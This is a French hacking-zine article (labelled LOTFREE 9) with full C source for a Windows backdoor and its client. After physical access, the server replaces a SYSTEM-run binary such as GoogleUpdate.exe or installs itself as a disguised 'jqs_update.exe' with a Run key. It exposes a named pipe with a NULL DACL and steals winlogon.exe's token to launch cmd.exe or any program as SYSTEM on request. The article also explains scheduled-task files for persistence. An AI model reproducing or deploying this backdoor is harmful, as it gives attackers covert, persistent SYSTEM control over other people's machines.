Quand on a récupéré des droits privilégiés sur une machine par une attaque physique (comprendre locale), on aime bien les conserver et que cela se fasse dans la discrétion...
Passer son user en admin local ou en power-user ce n'est pas ce qu'il y a de plus discret. Quand à casser le mdp du compte admin existant ce n'est pas toujours une mince affaire (du moins si la compatiblité LanMan est désactivée)
Le top c'est d'avoir à disposition de quoi lancer quand on le souhaite une commande nous permettant de récupérer temporairement les droits que l'on souhaite histoire d'installer une app, lancer un sniffeur, récupérer des fichiers etc. Et c'est le sujet de cet article.
L'idée d'origine est bien sûr venue d'une telle situation dans un environement Windows. On a accès à une machine avec un compte limité, on est tout seul et on peut faire démarrer cette bécane sur un live CD, monter le système de fichier et placer un de nos exécutables sur le système.
La question a ensuite été de comment faire en sorte que l'exécutable placé sur le disque puisse nous donner ce que l'on souhaite à savoir un max de droits d'accès, c'est à dire les droits NT SYSTEM...
Placer les exécutables dans une clé Run du registre (au boot) ne suffit pas à faire tourner les exécutables en SYSTEM : Ces clés lancent les programmes quand l'user ouvre sa session avec ses droits à lui. J'ai fouillé dans les processus qui tourneaient en system sur mon PC et trouvé notemment GoogleUpdate.exe, un exe qui comme son nom l'indique est ajouté lors de l'installation de logiciels de chez Google (comme Chrome).
Ce qui était étonnant c'est que cet exécutable était justement dans les clés Run du registre... En fait j'ai découvert plus tard qu'il était aussi lancé en tant que tâche planifiée et que c'était ce qui le faisait tourner en tant que SYSTEM. Mais on y reviendra à la fin de l'article ;-)
Quoiqu'il en soit la première étape était résolue : On écrase le fichier GoogleUpdate.exe (ou tout autre programme qui tourne en SYSTEM, relevé via le taskmgr) par un programme de notre confection via un live CD, on reboot sous Windows et hop, notre prog tourne en SYSTEM :)
Vient ensuite la question de la communication avec le programme : Il faut qu'il tourne "dans l'ombre" en attente de nos commandes et qu'il les exécute quand on les lui envoie.
Pour ça différents techniques sont à notre disposition : créer un fichier contenant les commandes qui serait lues puis le fichier supprimé (pas pratique), communiquer via des sockets (pas terrible face à un netstat ou nmap), via des clés de registre (pas terrible) ou via des tubes nommés.
Va pour les tubes. On créé un petit programme de test histoire de jouer avec les tubes : un clien et un serveur. On utilise la fonction CreateNamedPipe pour créer notre canal de communication qu'on met en écoute via ConnectNamedPipe (l'équivalent de listen pour les sockets) et ensuite on se sert bêtement de WriteFile et ReadFile pour communiquer. Seul problème : une fois lancé en SYSTEM le tube existe bien mais impossible pour le client d'ouvrir la pipeline car des mécanismes de sécurité existent pour que tout le monde n'accéde pas à ce tube (comme pour des fichiers). Il faut donc à la création du tube indiquer des droits spécifiques permettant à tout le monde d'y accéder.
Cette opération se fait lors de la création du pipe en passant comme dernier argument une structure SECURITY_ATTRIBUTES que l'on aura initialisé via InitializeSecurityDescriptor puis correctement rempli avec SetSecurityDescriptorDacl. L'opération dans notre cas est assez simple : il convient de passer NULL comme 3ème paramêtre (pDacl) pour indiquer que tout le monde a les accès.
Pour reprendre sur les communications entre le client et le serveur, le protocole choisi sera le suivant :
Lorsqu'un client se connecte au serveur (ouverture du tube), ce dernier envoi le message d'accueil I'm here to serve you master. au client. Cela permet au client de vérifier que la connexion a bien été établie. Evidemment on peut placer un message plus discret pour éviter aux curieux d'analyser la situation dans les détails :p
C'est ensuite le client qui spécifie ce qu'il souhaite. La commande CWD empruntée au FTP permet d'afficher le répertoire courant du processus serveur. Suvi d'un argument elle permet de lui faire changer de répertoire courant. La commande CMD sera la plus pratique, facile et sans doute la plus fiable à utiliser : elle ouvrera un shell (cmd.exe) dans l'environement de l'utilisateur et ce avec les droits SYSTEM.
Enfin la commande RUN permettra comme son nom l'indique de lancer un exécutable avec les droits SYSTEM. Il faudra forcément passer comme argument le chemin de l'exécutable voulu. Il est préférable d'avoir CWD dans son dossier auparavant. On pourra transférer des paramêtres à ce programme en rajoutant à la fin de la commande RUN les options séparées par le caractère '|' (ex: RUN ping.exe|8.8.8.8 pour pinger le serveur DNS de Google).
Seulement si on lance depuis le client un CMD ou un RUN quelquechose, la fenêtre du programme n'apparait pas alors que l'on voit bien le processus demandé exécuté en tant que SYSTEM dans le gestionnaire des taches... C'est parce que Windows inclus des mécanismes de sécurité de la session graphique qui sont apparu aux fur et à mesure des versions, par exemple pour se prrotéger des shatter attacks. On pourrait comparer ce système basé sur des jetons (tokens) et sessions au système xauth de Linux et ses magic-cookies mais sur ce niveau Windows est beaucoup plus avancé.
Comment alors faire en sorte que notre exécutable tournant en SYSTEM ait accès à la session en cours et puisse générer des processus avec ses privilèges dans cette même session ?
C'est sans doute sur le site CodeProjet que l'on trouve la plus intéressante bibliothèque de documents traitant de ces mécanismes de sécurité, et en particulier (pour notre cas), le document Launch your application in Vista under the local system account without the UAC popup qui nous explique la marche à suivre pour accéder au saint graal :)
Quand vous vous loguez physiquement sur un système Windows Vista/7, une session est générée qui aura l'identifiant 1. Les services lancés par Windows au boot tournent sous une session différente, non-interactive où les applis n'ont pas accès à l'interface graphique : la session 0.
Vous pouvez connaître l'ID de session de chaque processus via Affichage > Sélectionner des colonnes dans le gestionnaire des tâches et vous verrez qu'il y a quand même des processus SYSTEM tournant dans notre session 1. On retrouve alors le GoogleUpdate.exe et, comme sur tous les systèmes, vous verrez le winlogon.exe qui gère le login/logout des utilisateurs. Il y a en gros un processus winlogon.exe tournant en SYSTEM pour chaque session dont l'ID est supérieur ou égal à 1.
L'idée est de récupérer le jeton de winlogon.exe qui lui permet d'avoir accès à l'interface graphique et chaque fois qu'on enverra une commande à notre backdoor, la commande sera lancée avec ce token, faisant apparaître le fenêtre correspondante à l'écran :)
Le procédé à suivre pour arriver à nos fins sera le suivant :
Voici le code source de la partie serveur destinée à tourner avec des droits SYSTEM. Compilation avec Microsoft Visual C++ Express (gratuit) en raison de l'utilisation de certaines bibliothèques.
Le code est un peu crado. En mode debug des messages de statut sont envoyés vers le fichier d'event (journal) d'application.
/* LOTFREE 9 - Get NT SYSTEM privileges backdoor Le programme utilise TCHAR & co mais est fait pour unicode cela dis le passage non-unicode ne necessite pas grandes modifications */ #define UNICODE #define _UNICODE #define _CRT_SECURE_NO_WARNINGS // Fonctions acces registre, tokens etc #pragma comment (lib, "advapi32") // WTSQueryUserToken #pragma comment (lib, "Wtsapi32") // CreateEnvironmentBlock #pragma comment (lib, "Userenv") #include <tchar.h> #include <stdio.h> #include <Windows.h> // CreateToolhelp32Snapshot #include <Tlhelp32.h> #include <Wtsapi32.h> #include <Userenv.h> // ConvertStringSecurityDescriptorToSecurityDescriptorS #include <Sddl.h> #define BUFSIZE 512 DWORD WINAPI InstanceThread(LPVOID); int _tmain(int argc, TCHAR *argv[]) { BOOL fConnected = FALSE; DWORD dwThreadId = 0; HANDLE hPipe = INVALID_HANDLE_VALUE, hThread = NULL; LPCTSTR lpszPipename = _T("\\\\.\\pipe\\mynamedpipe"); LPTSTR lpDisplayBuf; TCHAR orig_name[255]; TCHAR dest_name[255]; HKEY key; PSECURITY_ATTRIBUTES pSa = NULL; SECURITY_ATTRIBUTES sa ={0}; SECURITY_DESCRIPTOR sd={0}; // Creer un security descriptor vide InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION); // 3eme parametre : DACL NULL => permettre tous les acces SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE); sa.bInheritHandle = false; sa.lpSecurityDescriptor = &sd; sa.nLength = sizeof(sa); if (argc == 2) { // si argument = "install", place l'executable comme service lance au boot if(_tcscmp(_T("install"), argv[1]) == 0) { // Obtient le nom de l'exe en cours GetModuleFileName(NULL, orig_name, 255); // Obtenir l'emplacement des fichiers systemes GetSystemDirectory(dest_name, 255); _tcscat(dest_name, _T("\\jqs_update.exe")); _tprintf(_T("%s\n"), dest_name); // On y place une copie de l'excutable sous le nom jqs_update.exe CopyFile(orig_name, dest_name, FALSE); // Creation du cle Run dans le registre pour lancement au boot if(RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_SET_VALUE, &key) == ERROR_SUCCESS) { if(RegSetValueEx(key, _T("jqs_update"), 0, REG_SZ, (BYTE*)dest_name, 11) != ERROR_SUCCESS) _tprintf(_T("Registry install failed")); RegCloseKey(key); } // On quitte : install terminee return 0; } } // Cas ou le programme est lance sans arguments for (;;) { // cree le tube nomme pour les communications avec des acces pour tout le monde _tprintf( _T("\nServer: Awaiting client connection on %s\n"), lpszPipename); hPipe = CreateNamedPipe( lpszPipename, // pipe name PIPE_ACCESS_DUPLEX | WRITE_DAC, // read/write access PIPE_TYPE_MESSAGE | // message type pipe PIPE_READMODE_MESSAGE | // message-read mode PIPE_WAIT, // blocking mode PIPE_UNLIMITED_INSTANCES, // max. instances BUFSIZE, // output buffer size BUFSIZE, // input buffer size 0, // client time-out &sa); // default security attribute - null avant if (hPipe == INVALID_HANDLE_VALUE) { // Ca a merde... affiche un message FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpDisplayBuf, 0, NULL ); _tprintf(_T("%s"), (LPSTR)lpDisplayBuf); // et quitte return -1; } // Attendre que des clients se connectent; en cas de reussite, // retourne une valeur non nulle. Dans le cas contraire // (retourne zero), GetLastError retourne ERROR_PIPE_CONNECTED. fConnected = ConnectNamedPipe(hPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED); if (fConnected) { _tprintf(_T("Client connected, creating a processing thread.\n")); // Creation d'un thread pour gerer ce client hThread = CreateThread( NULL, // no security attribute 0, // default stack size InstanceThread, // Thread qui gere la cnx avec le client :) (LPVOID) hPipe, // thread parameter 0, // not suspended &dwThreadId); // returns thread ID if (hThread == NULL) { // Ca a merde... affiche l'erreur et quitte FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpDisplayBuf, 0, NULL ); return -1; } else CloseHandle(hThread); } else CloseHandle(hPipe); // The client could not connect, so close the pipe. } // end for LocalFree(lpDisplayBuf); return 0; } // Thread qui gere le client connecte DWORD WINAPI InstanceThread(LPVOID lpvParam) { HANDLE hHeap = GetProcessHeap(); TCHAR* pchRequest = (TCHAR*)HeapAlloc(hHeap, 0, BUFSIZE*sizeof(TCHAR)); TCHAR* pchReply = (TCHAR*)HeapAlloc(hHeap, 0, BUFSIZE*sizeof(TCHAR)); DWORD cbBytesRead = 0, cbReplyBytes = 0, cbWritten = 0; BOOL fSuccess = FALSE; HANDLE hPipe = NULL; LPTSTR arg1; LPTSTR arg2; TCHAR lpDisplayBuf[256]; // En mode debug, des messages d'erreur ou de reussite sont passes dans le journal des applications #ifdef _DEBUG HANDLE hEventLog = NULL; #endif LPTSTR lpszStrings[1]; TCHAR cmdLine[256]; //pompage PROCESS_INFORMATION pi; STARTUPINFO si; BOOL bResult = FALSE; DWORD dwSessionId, winlogonPid; HANDLE hUserToken, hUserTokenDup, hPToken, hProcess; DWORD dwCreationFlags; #ifdef _DEBUG hEventLog = RegisterEventSource(NULL, _T("LOTF")); #endif // Recupere l'identifiant de la session physique en cours sur la machine dwSessionId = WTSGetActiveConsoleSessionId(); // Recupere le PID de winlogon.exe PROCESSENTRY32 procEntry; HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnap == INVALID_HANDLE_VALUE) { return 1 ; } procEntry.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hSnap, &procEntry)) { return 1; } do { if (_tcsicmp(procEntry.szExeFile, _T("winlogon.exe")) == 0) { // Processus winlogon trouve... // make sure it's running in the console session DWORD winlogonSessId = 0; if (ProcessIdToSessionId(procEntry.th32ProcessID, &winlogonSessId) && winlogonSessId == dwSessionId) { winlogonPid = procEntry.th32ProcessID; break; } } } while (Process32Next(hSnap, &procEntry)); // Recupere le token de la session physique en cours. Seul SYSTEM peut faire ca. WTSQueryUserToken(dwSessionId,&hUserToken); dwCreationFlags = NORMAL_PRIORITY_CLASS|CREATE_NEW_CONSOLE; ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.lpDesktop = _T("winsta0\\default"); ZeroMemory(&pi, sizeof(pi)); TOKEN_PRIVILEGES tp; LUID luid; // Retourne un handle sur le process winlogon.exe hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, winlogonPid); if(hProcess == NULL) { FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpDisplayBuf, 0, NULL); } else { _tcscpy(lpDisplayBuf, _T("OpenProcessToken : tout est ok!")); } lpszStrings[0] = lpDisplayBuf; #ifdef _DEBUG ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 666, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL); #endif // Recupere le token d'acces de winlogon.exe avec les droits de duplication if(!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY |TOKEN_DUPLICATE|TOKEN_ASSIGN_PRIMARY| TOKEN_ADJUST_SESSIONID |TOKEN_READ|TOKEN_WRITE, &hPToken)) { //_tprintf(_T("Process token open Error: %u\n"), GetLastError()); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpDisplayBuf, 0, NULL); } else { _tcscpy(lpDisplayBuf, _T("OpenProcessToken : tout est ok!")); } lpszStrings[0] = lpDisplayBuf; #ifdef _DEBUG ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 667, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL); #endif if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpDisplayBuf, 0, NULL); } else { _tcscpy(lpDisplayBuf, _T("LookupPrivilege: ok!")); } lpszStrings[0] = lpDisplayBuf; #ifdef _DEBUG ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 668, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL); #endif tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Duplication du token de winlogon.exe vers hUserTokenDup DuplicateTokenEx(hPToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hUserTokenDup); // On associe le SID de la session physique au token duplique SetTokenInformation(hUserTokenDup, TokenSessionId, (void*)dwSessionId, // SID de la session physique sizeof(DWORD)); if (!AdjustTokenPrivileges(hUserTokenDup, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, NULL)) { FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpDisplayBuf, 0, NULL ); } else { _tcscpy(lpDisplayBuf, _T("AdjustTokenPrivileges: c'est ok!")); } lpszStrings[0] = lpDisplayBuf; #ifdef _DEBUG ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 669, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL); #endif LPVOID pEnv = NULL; // Recupere l'environement du token duplique if(CreateEnvironmentBlock(&pEnv, hUserTokenDup, TRUE)) { dwCreationFlags |= CREATE_UNICODE_ENVIRONMENT; _tcscpy(lpDisplayBuf, _T("CreateEnvironmentBlock: c'est ok!")); } else { pEnv= NULL; FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpDisplayBuf, 0, NULL ); } lpszStrings[0] = lpDisplayBuf; #ifdef _DEBUG ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 670, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL); #endif //paste end // Erreurs possible avec le thread. Si NOK on quitte if (lpvParam == NULL) { _tprintf(_T("\nERROR - Pipe Server Failure:\n")); _tprintf(_T(" InstanceThread got an unexpected NULL value in lpvParam.\n")); _tprintf(_T(" InstanceThread exitting.\n")); if (pchReply != NULL) HeapFree(hHeap, 0, pchReply); if (pchRequest != NULL) HeapFree(hHeap, 0, pchRequest); return (DWORD)-1; } // On recupere le handle de notre pipe hPipe = (HANDLE) lpvParam; // On envoi un message d'accueil a ce cher client qui a bien voulu se connecter _tcscpy(pchReply, _T("I'm here to serve you master.")); cbReplyBytes = _tcsclen(pchReply) * sizeof(TCHAR); fSuccess = WriteFile( hPipe, pchReply, cbReplyBytes, &cbWritten, NULL); // Loop until done reading while (1) { fSuccess = ReadFile( hPipe, pchRequest, BUFSIZE * sizeof(TCHAR), &cbBytesRead, NULL); if (!fSuccess || cbBytesRead == 0) { if (GetLastError() == ERROR_BROKEN_PIPE) { _tprintf(_T("InstanceThread: client disconnected.\n")); } else { _tprintf(_T("InstanceThread ReadFile failed, GLE=%lu.\n"), GetLastError()); } break; } pchRequest[cbBytesRead / sizeof(TCHAR) - 1] = _T('\0'); // Instruction CWD => change de repertoire courant if(_tcsnccmp(pchRequest, _T("CWD"), 3) == 0) { if(_tcsclen(pchRequest) > 3) { arg1 = _tcsspnp(&pchRequest[3], _T(" ")); if(arg1 != NULL) SetCurrentDirectory(arg1); // pas de gestion d'erreur } GetCurrentDirectory(255, pchReply); } // Instruction RUN => execute un programme, permet de passer des arguments else if (_tcsnccmp(pchRequest, _T("RUN"), 3) == 0) { if(_tcsclen(pchRequest) > 3) { arg1 = _tcsspnp(&pchRequest[3], _T(" ")); if(arg1 != NULL) { arg2 = _tcschr(arg1, _T('|')); if(arg2 != NULL) { _tprintf(_T("%s\n"), arg2); arg2[0] = _T('\0'); arg2 = _tcsinc(arg2); } _sntprintf(cmdLine, BUFSIZE - 1, _T("\"%s\" %s"), arg1, arg2); bResult = CreateProcessAsUser( hUserTokenDup, // client's access token arg1, // fichier a executer cmdLine, // ligne de commande (arguments) NULL, // pointer to process SECURITY_ATTRIBUTES NULL, // pointer to thread SECURITY_ATTRIBUTES FALSE, // handles are not inheritable dwCreationFlags, // creation flags pEnv, // pointer to new environment block NULL, // name of current directory &si, // pointer to STARTUPINFO structure &pi // receives information about new process ); if (bResult != NULL) { _tcscpy(pchReply, _T("CreateProcessAsUser Success!")); } else { _tcscpy(pchReply, _T("CreateProcessAsUser Error!")); } } } else { _tcscpy(pchReply, _T("Need arguments!")); } } // Fin RUN // Execute cmd.exe (invite de commande avec droits SYSTEM) else if (_tcsnccmp(pchRequest, _T("CMD"), 3) == 0) { _tcscpy(lpDisplayBuf, _T("Juste avant CreateProcessAsUser")); lpszStrings[0] = lpDisplayBuf; #ifdef _DEBUG ReportEvent(hEventLog, EVENTLOG_INFORMATION_TYPE, 1, 671, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL); #endif // Launch the process in the client's logon session. bResult = CreateProcessAsUser( hUserTokenDup, // client's access token _T("C:\\windows\\system32\\cmd.exe"), NULL, // options NULL, // pointer to process SECURITY_ATTRIBUTES NULL, // pointer to thread SECURITY_ATTRIBUTES FALSE, // handles are not inheritable dwCreationFlags, // creation flags pEnv, // pointer to new environment block NULL, // name of current directory &si, // pointer to STARTUPINFO structure &pi // receives information about new process ); if (bResult != NULL) { _tcscpy(pchReply, _T("CreateProcessAsUser Success!")); } else { _tcscpy(pchReply, _T("CreateProcessAsUser Error!")); } } // Message pour les curieux else { _tcscpy(pchReply, _T("Protocol error #8486")); } cbReplyBytes = _tcsclen(pchReply) * sizeof(TCHAR); // Renvoi l'output sur le pipe fSuccess = WriteFile( hPipe, // handle to pipe pchReply, // buffer to write from cbReplyBytes, // number of bytes to write &cbWritten, // number of bytes written NULL); // not overlapped I/O if (!fSuccess || cbReplyBytes != cbWritten) { _tprintf(_T("InstanceThread WriteFile failed, GLE=%lu.\n"), GetLastError()); break; } } // Fin while // End impersonation of client CloseHandle(hProcess); CloseHandle(hUserToken); CloseHandle(hUserTokenDup); CloseHandle(hPToken); FlushFileBuffers(hPipe); DisconnectNamedPipe(hPipe); CloseHandle(hPipe); HeapFree(hHeap, 0, pchRequest); HeapFree(hHeap, 0, pchReply); #ifdef _DEBUG _tprintf(_T("InstanceThread exitting.\n")); DeregisterEventSource(hEventLog); #endif return 1; }
Et voici le code (minimaliste) du client. Lit les commandes (CWD, CMD, RUN) depuis la console
/* client */ #define UNICODE #define _UNICODE #include <windows.h> #include <stdio.h> #include <conio.h> #include <tchar.h> #include <stdlib.h> #define BUFSIZE 512 int _tmain(int argc, TCHAR *argv[]) { HANDLE hPipe; char message[500]; // buffer pour la saisie a la console (stdin) TCHAR wmessage[500]; // buffer de conversion en widechars TCHAR chBuf[BUFSIZE]; // Buffer de lecture sur le pipe BOOL fSuccess = FALSE; DWORD cbRead, cbToWrite, cbWritten, dwMode; DWORD err = 0; LPTSTR lpszPipename = _T("\\\\.\\pipe\\mynamedpipe"); size_t convertedChars = 0; // Try to open a named pipe; wait for it, if necessary. while(1) { hPipe = CreateFile( lpszPipename, // pipe name GENERIC_READ | // read and write access GENERIC_WRITE, 0, // no sharing NULL, // default security attributes OPEN_EXISTING, // opens existing pipe 0, // default attributes NULL); // no template file // Break if the pipe handle is valid. if(hPipe != INVALID_HANDLE_VALUE) break; // Exit if an error other than ERROR_PIPE_BUSY occurs. err = GetLastError(); if(err == ERROR_ACCESS_DENIED) { _tprintf(_T("Acces refuse!\n")); return -1; } else if(err != ERROR_PIPE_BUSY) { _tprintf( _T("Could not open pipe. GLE=%lu\n"), GetLastError()); return -1; } // All pipe instances are busy, so wait for 20 seconds. if(!WaitNamedPipe(lpszPipename, 20000)) { _tprintf(_T("Could not open pipe: 20 second wait timed out.")); return -1; } } // fin while acces pipe // The pipe connected; change to message-read mode. dwMode = PIPE_READMODE_MESSAGE | PIPE_WAIT; fSuccess = SetNamedPipeHandleState( hPipe, // pipe handle &dwMode, // new pipe mode NULL, // don't set maximum bytes NULL); // don't set maximum time if (!fSuccess) { _tprintf( _T("SetNamedPipeHandleState failed. GLE=%lu\n"), GetLastError() ); return -1; } memset((void *)&chBuf, 0, sizeof(TCHAR) * BUFSIZE); // On lit la banniere d'accueil fSuccess = ReadFile( hPipe, // pipe handle chBuf, // buffer to receive reply BUFSIZE * sizeof(TCHAR), // size of buffer &cbRead, // number of bytes read NULL); // not overlapped chBuf[cbRead / sizeof(TCHAR)] = '\0'; _tprintf(_T("%s\n"), chBuf); while(1) { // Send a message to the pipe server. memset(message, 0, 499); fgets(message, 499, stdin); cbToWrite = strlen(message); mbstowcs_s(&convertedChars, wmessage, cbToWrite, message, _TRUNCATE); if (strncmp(message, "QUIT", 4) == 0) break; fSuccess = WriteFile( hPipe, // pipe handle wmessage, //lpvMessage, // message convertedChars * sizeof(TCHAR), // message length &cbWritten, // bytes written NULL); // not overlapped if (!fSuccess) { _tprintf(_T("WriteFile to pipe failed. GLE=%lu\n"), GetLastError() ); return -1; } memset((void *)&chBuf, 0, sizeof(TCHAR) * BUFSIZE); do { // Read from the pipe. fSuccess = ReadFile( hPipe, // pipe handle chBuf, // buffer to receive reply BUFSIZE * sizeof(TCHAR), // size of buffer &cbRead, // number of bytes read NULL); // not overlapped chBuf[cbRead / sizeof(TCHAR)] = '\0'; if (!fSuccess && GetLastError() != ERROR_MORE_DATA) break; _tprintf(_T("%s\n"), chBuf); } while (!fSuccess); // repeat loop if ERROR_MORE_DATA if(!fSuccess) { _tprintf(_T("ReadFile from pipe failed. GLE=%d\n"), (int)GetLastError()); return -1; } } CloseHandle(hPipe); return 0; }
Une fois les deux codes compilés, soit vous remplacez l'un des exécutable existant lancé en tant que SYSTEM (exemple: GoogleUpate.exe), soit en plus de placer votre exe sur le système vous y placez aussi un nouveau fichier permettant de définir une tache planifiée.
Sous les anciennes versions de Windows (Win2K, XP et Server 2003) les taches planifiées sont dans un format binaire avec une extension .job. Ces fichiers se trouvent dans le dossier Windows\Tasks du système. La documentation qui définit ce format est disponible sur MSDN. C'est un format qui semble portable d'une machine à l'autre, il est normalement possible de prendre le fichier .job d'une bécane pour le déplacer vers une autre bécane. La seule difficulté est de définir un job UUID qui n'est pas déjà utilisé. Pour créer un .job on utilisera simplement l'outil de gestion de taches planifiés de Windows.
Sur les "nouvelles" versions de Windows (Vista, 7, et Server 2008), c'est encore plus simple car Microsoft est passé à un format XML. Toutefois les .job sont toujours acceptés par compatibilité et l'outil de gestion des taches permet d'importer / d'exporter dans un format ou l'autre. On peut donc reprendre facilement un XML d'une tache existante pour l'adapter à nos besoins. La seule règle à suivre semble être que ces fichiers soient encodés en UTF-16 et commencent par le BOM unicode associé.
Ces fichiers sont situés dans Windows\System32\Tasks et l'arborescence est laissée aux éditeurs logiciels (Microsoft suit sa propre arborescence, beaucoup d'éditeurs laissent leurs fichiers à la base).
En regardant le contenu d'un de ces fichiers vous devriez tout de suite capter à quoi correspond chaque balise. Il y a tout de même de bonnes références sur MSDN.
Dans le dossier contenant les codes sources et les binaires, vous trouverez aussi à titre d'exemple les fichiers de tache planifié correspondant à GoogleUpdate et Windows Defender.